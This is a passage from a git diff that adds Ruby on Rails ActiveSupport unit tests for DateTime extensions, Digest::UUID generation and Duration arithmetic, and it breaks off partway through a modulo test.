+      assert_equal Time.local(2016, 3, 21, 11, 11, 12), DateTime.new(2016, 3, 21, 15, 11, 12, 0).localtime
+      assert_equal Time.local(2016, 4, 1, 11, 11, 12), DateTime.new(2016, 4, 1, 16, 11, 12, Rational(1, 24)).localtime
+    end
+  end
+
+  def test_getlocal
+    with_env_tz "US/Eastern" do
+      assert_instance_of Time, DateTime.new(2016, 3, 11, 15, 11, 12, 0).getlocal
+      assert_equal Time.local(2016, 3, 11, 10, 11, 12), DateTime.new(2016, 3, 11, 15, 11, 12, 0).getlocal
+      assert_equal Time.local(2016, 3, 21, 11, 11, 12), DateTime.new(2016, 3, 21, 15, 11, 12, 0).getlocal
+      assert_equal Time.local(2016, 4, 1, 11, 11, 12), DateTime.new(2016, 4, 1, 16, 11, 12, Rational(1, 24)).getlocal
+    end
+  end
+
+  def test_to_date
+    assert_equal Date.new(2005, 2, 21), DateTime.new(2005, 2, 21, 14, 30, 0).to_date
+  end
+
+  def test_to_datetime
+    assert_equal DateTime.new(2005, 2, 21, 14, 30, 0), DateTime.new(2005, 2, 21, 14, 30, 0).to_datetime
+  end
+
+  def test_to_time
+    with_env_tz "US/Eastern" do
+      assert_instance_of Time, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
+
+      if ActiveSupport.to_time_preserves_timezone
+        assert_equal Time.local(2005, 2, 21, 5, 11, 12).getlocal(0), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
+        assert_equal Time.local(2005, 2, 21, 5, 11, 12).getlocal(0).utc_offset, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.utc_offset
+      else
+        assert_equal Time.local(2005, 2, 21, 5, 11, 12), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
+        assert_equal Time.local(2005, 2, 21, 5, 11, 12).utc_offset, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.utc_offset
+      end
+    end
+  end
+
+  def test_to_time_preserves_fractional_seconds
+    assert_equal Time.utc(2005, 2, 21, 10, 11, 12, 256), DateTime.new(2005, 2, 21, 10, 11, 12 + Rational(256, 1000000), 0).to_time
+  end
+
+  def test_civil_from_format
+    assert_equal Time.local(2010, 5, 4, 0, 0, 0), DateTime.civil_from_format(:local, 2010, 5, 4)
+    assert_equal Time.utc(2010, 5, 4, 0, 0, 0), DateTime.civil_from_format(:utc, 2010, 5, 4)
+  end
+
+  def test_seconds_since_midnight
+    assert_equal 1, DateTime.civil(2005, 1, 1, 0, 0, 1).seconds_since_midnight
+    assert_equal 60, DateTime.civil(2005, 1, 1, 0, 1, 0).seconds_since_midnight
+    assert_equal 3660, DateTime.civil(2005, 1, 1, 1, 1, 0).seconds_since_midnight
+    assert_equal 86399, DateTime.civil(2005, 1, 1, 23, 59, 59).seconds_since_midnight
+  end
+
+  def test_seconds_until_end_of_day
+    assert_equal 0, DateTime.civil(2005, 1, 1, 23, 59, 59).seconds_until_end_of_day
+    assert_equal 1, DateTime.civil(2005, 1, 1, 23, 59, 58).seconds_until_end_of_day
+    assert_equal 60, DateTime.civil(2005, 1, 1, 23, 58, 59).seconds_until_end_of_day
+    assert_equal 3660, DateTime.civil(2005, 1, 1, 22, 58, 59).seconds_until_end_of_day
+    assert_equal 86399, DateTime.civil(2005, 1, 1, 0, 0, 0).seconds_until_end_of_day
+  end
+
+  def test_beginning_of_day
+    assert_equal DateTime.civil(2005, 2, 4, 0, 0, 0), DateTime.civil(2005, 2, 4, 10, 10, 10).beginning_of_day
+  end
+
+  def test_middle_of_day
+    assert_equal DateTime.civil(2005, 2, 4, 12, 0, 0), DateTime.civil(2005, 2, 4, 10, 10, 10).middle_of_day
+  end
+
+  def test_end_of_day
+    assert_equal DateTime.civil(2005, 2, 4, 23, 59, Rational(59999999999, 1000000000)), DateTime.civil(2005, 2, 4, 10, 10, 10).end_of_day
+  end
+
+  def test_beginning_of_hour
+    assert_equal DateTime.civil(2005, 2, 4, 19, 0, 0), DateTime.civil(2005, 2, 4, 19, 30, 10).beginning_of_hour
+  end
+
+  def test_end_of_hour
+    assert_equal DateTime.civil(2005, 2, 4, 19, 59, Rational(59999999999, 1000000000)), DateTime.civil(2005, 2, 4, 19, 30, 10).end_of_hour
+  end
+
+  def test_beginning_of_minute
+    assert_equal DateTime.civil(2005, 2, 4, 19, 30, 0), DateTime.civil(2005, 2, 4, 19, 30, 10).beginning_of_minute
+  end
+
+  def test_end_of_minute
+    assert_equal DateTime.civil(2005, 2, 4, 19, 30, Rational(59999999999, 1000000000)), DateTime.civil(2005, 2, 4, 19, 30, 10).end_of_minute
+  end
+
+  def test_end_of_month
+    assert_equal DateTime.civil(2005, 3, 31, 23, 59, Rational(59999999999, 1000000000)), DateTime.civil(2005, 3, 20, 10, 10, 10).end_of_month
+    assert_equal DateTime.civil(2005, 2, 28, 23, 59, Rational(59999999999, 1000000000)), DateTime.civil(2005, 2, 20, 10, 10, 10).end_of_month
+    assert_equal DateTime.civil(2005, 4, 30, 23, 59, Rational(59999999999, 1000000000)), DateTime.civil(2005, 4, 20, 10, 10, 10).end_of_month
+  end
+
+  def test_last_year
+    assert_equal DateTime.civil(2004, 6, 5, 10),  DateTime.civil(2005, 6, 5, 10, 0, 0).last_year
+  end
+
+  def test_ago
+    assert_equal DateTime.civil(2005, 2, 22, 10, 10, 9),  DateTime.civil(2005, 2, 22, 10, 10, 10).ago(1)
+    assert_equal DateTime.civil(2005, 2, 22, 9, 10, 10),  DateTime.civil(2005, 2, 22, 10, 10, 10).ago(3600)
+    assert_equal DateTime.civil(2005, 2, 20, 10, 10, 10), DateTime.civil(2005, 2, 22, 10, 10, 10).ago(86400 * 2)
+    assert_equal DateTime.civil(2005, 2, 20, 9, 9, 45),   DateTime.civil(2005, 2, 22, 10, 10, 10).ago(86400 * 2 + 3600 + 25)
+  end
+
+  def test_since
+    assert_equal DateTime.civil(2005, 2, 22, 10, 10, 11), DateTime.civil(2005, 2, 22, 10, 10, 10).since(1)
+    assert_equal DateTime.civil(2005, 2, 22, 11, 10, 10), DateTime.civil(2005, 2, 22, 10, 10, 10).since(3600)
+    assert_equal DateTime.civil(2005, 2, 24, 10, 10, 10), DateTime.civil(2005, 2, 22, 10, 10, 10).since(86400 * 2)
+    assert_equal DateTime.civil(2005, 2, 24, 11, 10, 35), DateTime.civil(2005, 2, 22, 10, 10, 10).since(86400 * 2 + 3600 + 25)
+    assert_equal DateTime.civil(2005, 2, 22, 10, 10, 11), DateTime.civil(2005, 2, 22, 10, 10, 10).since(1.333)
+    assert_equal DateTime.civil(2005, 2, 22, 10, 10, 12), DateTime.civil(2005, 2, 22, 10, 10, 10).since(1.667)
+  end
+
+  def test_change
+    assert_equal DateTime.civil(2006, 2, 22, 15, 15, 10), DateTime.civil(2005, 2, 22, 15, 15, 10).change(year: 2006)
+    assert_equal DateTime.civil(2005, 6, 22, 15, 15, 10), DateTime.civil(2005, 2, 22, 15, 15, 10).change(month: 6)
+    assert_equal DateTime.civil(2012, 9, 22, 15, 15, 10), DateTime.civil(2005, 2, 22, 15, 15, 10).change(year: 2012, month: 9)
+    assert_equal DateTime.civil(2005, 2, 22, 16),         DateTime.civil(2005, 2, 22, 15, 15, 10).change(hour: 16)
+    assert_equal DateTime.civil(2005, 2, 22, 16, 45),     DateTime.civil(2005, 2, 22, 15, 15, 10).change(hour: 16, min: 45)
+    assert_equal DateTime.civil(2005, 2, 22, 15, 45),     DateTime.civil(2005, 2, 22, 15, 15, 10).change(min: 45)
+
+    # datetime with non-zero offset
+    assert_equal DateTime.civil(2005, 2, 22, 15, 15, 10, Rational(-5, 24)), DateTime.civil(2005, 2, 22, 15, 15, 10, 0).change(offset: Rational(-5, 24))
+
+    # datetime with fractions of a second
+    assert_equal DateTime.civil(2005, 2, 1, 15, 15, 10.7), DateTime.civil(2005, 2, 22, 15, 15, 10.7).change(day: 1)
+    assert_equal DateTime.civil(2005, 1, 2, 11, 22, Rational(33000008, 1000000)), DateTime.civil(2005, 1, 2, 11, 22, 33).change(usec: 8)
+    assert_equal DateTime.civil(2005, 1, 2, 11, 22, Rational(33000008, 1000000)), DateTime.civil(2005, 1, 2, 11, 22, 33).change(nsec: 8000)
+    assert_raise(ArgumentError) { DateTime.civil(2005, 1, 2, 11, 22, 0).change(usec: 1, nsec: 1) }
+    assert_raise(ArgumentError) { DateTime.civil(2005, 1, 2, 11, 22, 0).change(usec: 1000000) }
+    assert_raise(ArgumentError) { DateTime.civil(2005, 1, 2, 11, 22, 0).change(nsec: 1000000000) }
+    assert_nothing_raised { DateTime.civil(2005, 1, 2, 11, 22, 0).change(usec: 999999) }
+    assert_nothing_raised { DateTime.civil(2005, 1, 2, 11, 22, 0).change(nsec: 999999999) }
+  end
+
+  def test_advance
+    assert_equal DateTime.civil(2006, 2, 28, 15, 15, 10),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(years: 1)
+    assert_equal DateTime.civil(2005, 6, 28, 15, 15, 10),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(months: 4)
+    assert_equal DateTime.civil(2005, 3, 21, 15, 15, 10),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(weeks: 3)
+    assert_equal DateTime.civil(2005, 3, 5, 15, 15, 10),   DateTime.civil(2005, 2, 28, 15, 15, 10).advance(days: 5)
+    assert_equal DateTime.civil(2012, 9, 28, 15, 15, 10),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 7)
+    assert_equal DateTime.civil(2013, 10, 3, 15, 15, 10),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, days: 5)
+    assert_equal DateTime.civil(2013, 10, 17, 15, 15, 10), DateTime.civil(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, weeks: 2, days: 5)
+    assert_equal DateTime.civil(2001, 12, 27, 15, 15, 10), DateTime.civil(2005, 2, 28, 15, 15, 10).advance(years: -3, months: -2, days: -1)
+    assert_equal DateTime.civil(2005, 2, 28, 15, 15, 10),  DateTime.civil(2004, 2, 29, 15, 15, 10).advance(years: 1) #leap day plus one year
+    assert_equal DateTime.civil(2005, 2, 28, 20, 15, 10),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(hours: 5)
+    assert_equal DateTime.civil(2005, 2, 28, 15, 22, 10),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(minutes: 7)
+    assert_equal DateTime.civil(2005, 2, 28, 15, 15, 19),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(seconds: 9)
+    assert_equal DateTime.civil(2005, 2, 28, 20, 22, 19),  DateTime.civil(2005, 2, 28, 15, 15, 10).advance(hours: 5, minutes: 7, seconds: 9)
+    assert_equal DateTime.civil(2005, 2, 28, 10, 8, 1),    DateTime.civil(2005, 2, 28, 15, 15, 10).advance(hours: -5, minutes: -7, seconds: -9)
+    assert_equal DateTime.civil(2013, 10, 17, 20, 22, 19), DateTime.civil(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, weeks: 2, days: 5, hours: 5, minutes: 7, seconds: 9)
+  end
+
+  def test_advance_partial_days
+    assert_equal DateTime.civil(2012, 9, 29, 13, 15, 10),  DateTime.civil(2012, 9, 28, 1, 15, 10).advance(days: 1.5)
+    assert_equal DateTime.civil(2012, 9, 28, 13, 15, 10),  DateTime.civil(2012, 9, 28, 1, 15, 10).advance(days: 0.5)
+    assert_equal DateTime.civil(2012, 10, 29, 13, 15, 10), DateTime.civil(2012, 9, 28, 1, 15, 10).advance(days: 1.5, months: 1)
+  end
+
+  def test_advanced_processes_first_the_date_deltas_and_then_the_time_deltas
+    # If the time deltas were processed first, the following datetimes would be advanced to 2010/04/01 instead.
+    assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 23, 59, 59).advance(months: 1, seconds: 1)
+    assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 23, 59).advance(months: 1, minutes: 1)
+    assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 23).advance(months: 1, hours: 1)
+    assert_equal DateTime.civil(2010, 3, 29), DateTime.civil(2010, 2, 28, 22, 58, 59).advance(months: 1, hours: 1, minutes: 1, seconds: 1)
+  end
+
+  def test_last_week
+    assert_equal DateTime.civil(2005, 2, 21), DateTime.civil(2005, 3, 1, 15, 15, 10).last_week
+    assert_equal DateTime.civil(2005, 2, 22), DateTime.civil(2005, 3, 1, 15, 15, 10).last_week(:tuesday)
+    assert_equal DateTime.civil(2005, 2, 25), DateTime.civil(2005, 3, 1, 15, 15, 10).last_week(:friday)
+    assert_equal DateTime.civil(2006, 10, 30), DateTime.civil(2006, 11, 6, 0, 0, 0).last_week
+    assert_equal DateTime.civil(2006, 11, 15), DateTime.civil(2006, 11, 23, 0, 0, 0).last_week(:wednesday)
+  end
+
+  def test_date_time_should_have_correct_last_week_for_leap_year
+    assert_equal DateTime.civil(2016, 2, 29), DateTime.civil(2016, 3, 7).last_week
+  end
+
+  def test_last_month_on_31st
+    assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 3, 31).last_month
+  end
+
+  def test_last_quarter_on_31st
+    assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 5, 31).last_quarter
+  end
+
+  def test_xmlschema
+    assert_match(/^1880-02-28T15:15:10\+00:?00$/, DateTime.civil(1880, 2, 28, 15, 15, 10).xmlschema)
+    assert_match(/^1980-02-28T15:15:10\+00:?00$/, DateTime.civil(1980, 2, 28, 15, 15, 10).xmlschema)
+    assert_match(/^2080-02-28T15:15:10\+00:?00$/, DateTime.civil(2080, 2, 28, 15, 15, 10).xmlschema)
+    assert_match(/^1880-02-28T15:15:10-06:?00$/, DateTime.civil(1880, 2, 28, 15, 15, 10, -0.25).xmlschema)
+    assert_match(/^1980-02-28T15:15:10-06:?00$/, DateTime.civil(1980, 2, 28, 15, 15, 10, -0.25).xmlschema)
+    assert_match(/^2080-02-28T15:15:10-06:?00$/, DateTime.civil(2080, 2, 28, 15, 15, 10, -0.25).xmlschema)
+  end
+
+  def test_today_with_offset
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, DateTime.civil(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)).today?
+      assert_equal true,  DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-18000, 86400)).today?
+      assert_equal true,  DateTime.civil(2000, 1, 1, 23, 59, 59, Rational(-18000, 86400)).today?
+      assert_equal false, DateTime.civil(2000, 1, 2, 0, 0, 0, Rational(-18000, 86400)).today?
+    end
+  end
+
+  def test_today_without_offset
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, DateTime.civil(1999, 12, 31, 23, 59, 59).today?
+      assert_equal true,  DateTime.civil(2000, 1, 1, 0).today?
+      assert_equal true,  DateTime.civil(2000, 1, 1, 23, 59, 59).today?
+      assert_equal false, DateTime.civil(2000, 1, 2, 0).today?
+    end
+  end
+
+  def test_past_with_offset
+    DateTime.stub(:current, DateTime.civil(2005, 2, 10, 15, 30, 45, Rational(-18000, 86400))) do
+      assert_equal true,  DateTime.civil(2005, 2, 10, 15, 30, 44, Rational(-18000, 86400)).past?
+      assert_equal false,  DateTime.civil(2005, 2, 10, 15, 30, 45, Rational(-18000, 86400)).past?
+      assert_equal false,  DateTime.civil(2005, 2, 10, 15, 30, 46, Rational(-18000, 86400)).past?
+    end
+  end
+
+  def test_past_without_offset
+    DateTime.stub(:current, DateTime.civil(2005, 2, 10, 15, 30, 45, Rational(-18000, 86400))) do
+      assert_equal true,  DateTime.civil(2005, 2, 10, 20, 30, 44).past?
+      assert_equal false,  DateTime.civil(2005, 2, 10, 20, 30, 45).past?
+      assert_equal false,  DateTime.civil(2005, 2, 10, 20, 30, 46).past?
+    end
+  end
+
+  def test_future_with_offset
+    DateTime.stub(:current, DateTime.civil(2005, 2, 10, 15, 30, 45, Rational(-18000, 86400))) do
+      assert_equal false,  DateTime.civil(2005, 2, 10, 15, 30, 44, Rational(-18000, 86400)).future?
+      assert_equal false,  DateTime.civil(2005, 2, 10, 15, 30, 45, Rational(-18000, 86400)).future?
+      assert_equal true,  DateTime.civil(2005, 2, 10, 15, 30, 46, Rational(-18000, 86400)).future?
+    end
+  end
+
+  def test_future_without_offset
+    DateTime.stub(:current, DateTime.civil(2005, 2, 10, 15, 30, 45, Rational(-18000, 86400))) do
+      assert_equal false,  DateTime.civil(2005, 2, 10, 20, 30, 44).future?
+      assert_equal false,  DateTime.civil(2005, 2, 10, 20, 30, 45).future?
+      assert_equal true,  DateTime.civil(2005, 2, 10, 20, 30, 46).future?
+    end
+  end
+
+  def test_current_returns_date_today_when_zone_is_not_set
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(1999, 12, 31, 23, 59, 59)) do
+        assert_equal DateTime.new(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)), DateTime.current
+      end
+    end
+  end
+
+  def test_current_returns_time_zone_today_when_zone_is_set
+    Time.zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    with_env_tz "US/Eastern" do
+      Time.stub(:now, Time.local(1999, 12, 31, 23, 59, 59)) do
+        assert_equal DateTime.new(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)), DateTime.current
+      end
+    end
+  ensure
+    Time.zone = nil
+  end
+
+  def test_current_without_time_zone
+    assert_kind_of DateTime, DateTime.current
+  end
+
+  def test_current_with_time_zone
+    with_env_tz "US/Eastern" do
+      assert_kind_of DateTime, DateTime.current
+    end
+  end
+
+  def test_acts_like_date
+    assert DateTime.new.acts_like_date?
+  end
+
+  def test_acts_like_time
+    assert DateTime.new.acts_like_time?
+  end
+
+  def test_blank?
+    assert_not DateTime.new.blank?
+  end
+
+  def test_utc?
+    assert_equal true, DateTime.civil(2005, 2, 21, 10, 11, 12).utc?
+    assert_equal true, DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc?
+    assert_equal false, DateTime.civil(2005, 2, 21, 10, 11, 12, 0.25).utc?
+    assert_equal false, DateTime.civil(2005, 2, 21, 10, 11, 12, -0.25).utc?
+  end
+
+  def test_utc_offset
+    assert_equal 0, DateTime.civil(2005, 2, 21, 10, 11, 12).utc_offset
+    assert_equal 0, DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc_offset
+    assert_equal 21600, DateTime.civil(2005, 2, 21, 10, 11, 12, 0.25).utc_offset
+    assert_equal(-21600, DateTime.civil(2005, 2, 21, 10, 11, 12, -0.25).utc_offset)
+    assert_equal(-18000, DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24)).utc_offset)
+  end
+
+  def test_utc
+    assert_instance_of Time, DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc
+    assert_equal DateTime.civil(2005, 2, 21, 16, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc
+    assert_equal DateTime.civil(2005, 2, 21, 15, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24)).utc
+    assert_equal DateTime.civil(2005, 2, 21, 10, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc
+    assert_equal DateTime.civil(2005, 2, 21, 9, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(1, 24)).utc
+    assert_equal DateTime.civil(2005, 2, 21, 9, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(1, 24)).getutc
+  end
+
+  def test_formatted_offset_with_utc
+    assert_equal "+00:00", DateTime.civil(2000).formatted_offset
+    assert_equal "+0000", DateTime.civil(2000).formatted_offset(false)
+    assert_equal "UTC", DateTime.civil(2000).formatted_offset(true, "UTC")
+  end
+
+  def test_formatted_offset_with_local
+    dt = DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24))
+    assert_equal "-05:00", dt.formatted_offset
+    assert_equal "-0500", dt.formatted_offset(false)
+  end
+
+  def test_compare_with_time
+    assert_equal  1, DateTime.civil(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59)
+    assert_equal  0, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0)
+    assert_equal(-1, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 1))
+  end
+
+  def test_compare_with_datetime
+    assert_equal  1, DateTime.civil(2000) <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
+    assert_equal  0, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
+    assert_equal(-1, DateTime.civil(2000) <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
+  end
+
+  def test_compare_with_time_with_zone
+    assert_equal  1, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone["UTC"])
+    assert_equal  0, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone["UTC"])
+    assert_equal(-1, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone["UTC"]))
+  end
+
+  def test_compare_with_string
+    assert_equal   1, DateTime.civil(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59).to_s
+    assert_equal   0, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0).to_s
+    assert_equal(-1, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 1).to_s)
+    assert_nil DateTime.civil(2000) <=> "Invalid as Time"
+  end
+
+  def test_compare_with_integer
+    assert_equal  1, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440587
+    assert_equal  0, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440588
+    assert_equal(-1, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440589)
+  end
+
+  def test_compare_with_float
+    assert_equal  1, DateTime.civil(1970) <=> 2440586.5
+    assert_equal  0, DateTime.civil(1970) <=> 2440587.5
+    assert_equal(-1, DateTime.civil(1970) <=> 2440588.5)
+  end
+
+  def test_compare_with_rational
+    assert_equal  1, DateTime.civil(1970) <=> Rational(4881173, 2)
+    assert_equal  0, DateTime.civil(1970) <=> Rational(4881175, 2)
+    assert_equal(-1, DateTime.civil(1970) <=> Rational(4881177, 2))
+  end
+
+  def test_to_f
+    assert_equal 946684800.0, DateTime.civil(2000).to_f
+    assert_equal 946684800.0, DateTime.civil(1999, 12, 31, 19, 0, 0, Rational(-5, 24)).to_f
+    assert_equal 946684800.5, DateTime.civil(1999, 12, 31, 19, 0, 0.5, Rational(-5, 24)).to_f
+  end
+
+  def test_to_i
+    assert_equal 946684800, DateTime.civil(2000).to_i
+    assert_equal 946684800, DateTime.civil(1999, 12, 31, 19, 0, 0, Rational(-5, 24)).to_i
+  end
+
+  def test_usec
+    assert_equal 0, DateTime.civil(2000).usec
+    assert_equal 500000, DateTime.civil(2000, 1, 1, 0, 0, Rational(1, 2)).usec
+  end
+
+  def test_nsec
+    assert_equal 0, DateTime.civil(2000).nsec
+    assert_equal 500000000, DateTime.civil(2000, 1, 1, 0, 0, Rational(1, 2)).nsec
+  end
+
+  def test_subsec
+    assert_equal 0, DateTime.civil(2000).subsec
+    assert_equal Rational(1, 2), DateTime.civil(2000, 1, 1, 0, 0, Rational(1, 2)).subsec
+  end
+end
diff --git a/activesupport/test/core_ext/digest/uuid_test.rb b/activesupport/test/core_ext/digest/uuid_test.rb
new file mode 100644
index 0000000000..94cb7d9418
--- /dev/null
+++ b/activesupport/test/core_ext/digest/uuid_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/digest/uuid"
+
+class DigestUUIDExt < ActiveSupport::TestCase
+  def test_v3_uuids
+    assert_equal "3d813cbb-47fb-32ba-91df-831e1593ac29", Digest::UUID.uuid_v3(Digest::UUID::DNS_NAMESPACE, "www.widgets.com")
+    assert_equal "86df55fb-428e-3843-8583-ba3c05f290bc", Digest::UUID.uuid_v3(Digest::UUID::URL_NAMESPACE, "http://www.widgets.com")
+    assert_equal "8c29ab0e-a2dc-3482-b5eb-20cb2e2387a1", Digest::UUID.uuid_v3(Digest::UUID::OID_NAMESPACE, "1.2.3")
+    assert_equal "ee49149d-53a4-304a-890b-468229f6afc3", Digest::UUID.uuid_v3(Digest::UUID::X500_NAMESPACE, "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+  end
+
+  def test_v5_uuids
+    assert_equal "21f7f8de-8051-5b89-8680-0195ef798b6a", Digest::UUID.uuid_v5(Digest::UUID::DNS_NAMESPACE, "www.widgets.com")
+    assert_equal "4e570fd8-186d-5a74-90f0-4d28e34673a1", Digest::UUID.uuid_v5(Digest::UUID::URL_NAMESPACE, "http://www.widgets.com")
+    assert_equal "42d5e23b-3a02-5135-85c6-52d1102f1f00", Digest::UUID.uuid_v5(Digest::UUID::OID_NAMESPACE, "1.2.3")
+    assert_equal "fd5b2ddf-bcfe-58b6-90d6-db50f74db527", Digest::UUID.uuid_v5(Digest::UUID::X500_NAMESPACE, "cn=John Doe, ou=People, o=Acme, Inc., c=US")
+  end
+
+  def test_invalid_hash_class
+    assert_raise ArgumentError do
+      Digest::UUID.uuid_from_hash(Digest::SHA2, Digest::UUID::OID_NAMESPACE, "1.2.3")
+    end
+  end
+end
diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb
new file mode 100644
index 0000000000..b3e0cd8bd0
--- /dev/null
+++ b/activesupport/test/core_ext/duration_test.rb
@@ -0,0 +1,651 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/inflector"
+require "active_support/time"
+require "active_support/json"
+require "time_zone_test_helpers"
+
+class DurationTest < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
+  def test_is_a
+    d = 1.day
+    assert d.is_a?(ActiveSupport::Duration)
+    assert_kind_of ActiveSupport::Duration, d
+    assert_kind_of Numeric, d
+    assert_kind_of Integer, d
+    assert !d.is_a?(Hash)
+
+    k = Class.new
+    class << k; undef_method :== end
+    assert !d.is_a?(k)
+  end
+
+  def test_instance_of
+    assert 1.minute.instance_of?(1.class)
+    assert 2.days.instance_of?(ActiveSupport::Duration)
+    assert !3.second.instance_of?(Numeric)
+  end
+
+  def test_threequals
+    assert ActiveSupport::Duration === 1.day
+    assert !(ActiveSupport::Duration === 1.day.to_i)
+    assert !(ActiveSupport::Duration === "foo")
+  end
+
+  def test_equals
+    assert 1.day == 1.day
+    assert 1.day == 1.day.to_i
+    assert 1.day.to_i == 1.day
+    assert !(1.day == "foo")
+  end
+
+  def test_to_s
+    assert_equal "1", 1.second.to_s
+  end
+
+  def test_eql
+    rubinius_skip "Rubinius' #eql? definition relies on #instance_of? " \
+                  "which behaves oddly for the sake of backward-compatibility."
+
+    assert 1.minute.eql?(1.minute)
+    assert 1.minute.eql?(60.seconds)
+    assert 2.days.eql?(48.hours)
+    assert !1.second.eql?(1)
+    assert !1.eql?(1.second)
+    assert 1.minute.eql?(180.seconds - 2.minutes)
+    assert !1.minute.eql?(60)
+    assert !1.minute.eql?("foo")
+  end
+
+  def test_inspect
+    assert_equal "0 seconds",                       0.seconds.inspect
+    assert_equal "1 month",                         1.month.inspect
+    assert_equal "1 month and 1 day",               (1.month + 1.day).inspect
+    assert_equal "6 months and -2 days",            (6.months - 2.days).inspect
+    assert_equal "10 seconds",                      10.seconds.inspect
+    assert_equal "10 years, 2 months, and 1 day",   (10.years + 2.months + 1.day).inspect
+    assert_equal "10 years, 2 months, and 1 day",   (10.years + 1.month  + 1.day + 1.month).inspect
+    assert_equal "10 years, 2 months, and 1 day",   (1.day + 10.years + 2.months).inspect
+    assert_equal "7 days",                          7.days.inspect
+    assert_equal "1 week",                          1.week.inspect
+    assert_equal "2 weeks",                         1.fortnight.inspect
+  end
+
+  def test_inspect_locale
+    current_locale = I18n.default_locale
+    I18n.default_locale = :de
+    I18n.backend.store_translations(:de, support: { array: { last_word_connector: " und " } })
+    assert_equal "10 years, 1 month und 1 day", (10.years + 1.month + 1.day).inspect
+  ensure
+    I18n.default_locale = current_locale
+  end
+
+  def test_minus_with_duration_does_not_break_subtraction_of_date_from_date
+    assert_nothing_raised { Date.today - Date.today }
+  end
+
+  def test_plus
+    assert_equal 2.seconds, 1.second + 1.second
+    assert_instance_of ActiveSupport::Duration, 1.second + 1.second
+    assert_equal 2.seconds, 1.second + 1
+    assert_instance_of ActiveSupport::Duration, 1.second + 1
+  end
+
+  def test_minus
+    assert_equal 1.second, 2.seconds - 1.second
+    assert_instance_of ActiveSupport::Duration, 2.seconds - 1.second
+    assert_equal 1.second, 2.seconds - 1
+    assert_instance_of ActiveSupport::Duration, 2.seconds - 1
+    assert_equal 1.second, 2 - 1.second
+    assert_instance_of ActiveSupport::Duration, 2.seconds - 1
+  end
+
+  def test_multiply
+    assert_equal 7.days, 1.day * 7
+    assert_instance_of ActiveSupport::Duration, 1.day * 7
+    assert_equal 86400, 1.day * 1.second
+  end
+
+  def test_divide
+    assert_equal 1.day, 7.days / 7
+    assert_instance_of ActiveSupport::Duration, 7.days / 7
+
+    assert_equal 1.hour, 1.day / 24
+    assert_instance_of ActiveSupport::Duration, 1.day / 24
+
+    assert_equal 24, 86400 / 1.hour
+    assert_kind_of Integer, 86400 / 1.hour
+
+    assert_equal 24, 1.day / 1.hour
+    assert_kind_of Integer, 1.day / 1.hour
+
+    assert_equal 1, 1.day / 1.day
+    assert_kind_of Integer, 1.day / 1.hour
+  end
+
+  def test_modulo
+    assert_equal 1.minute, 5.minutes % 120
+    assert_instance_of ActiveSupport::Duration, 5.minutes % 120
+
+    assert_equal 1.minute, 5.minutes % 2.minutes
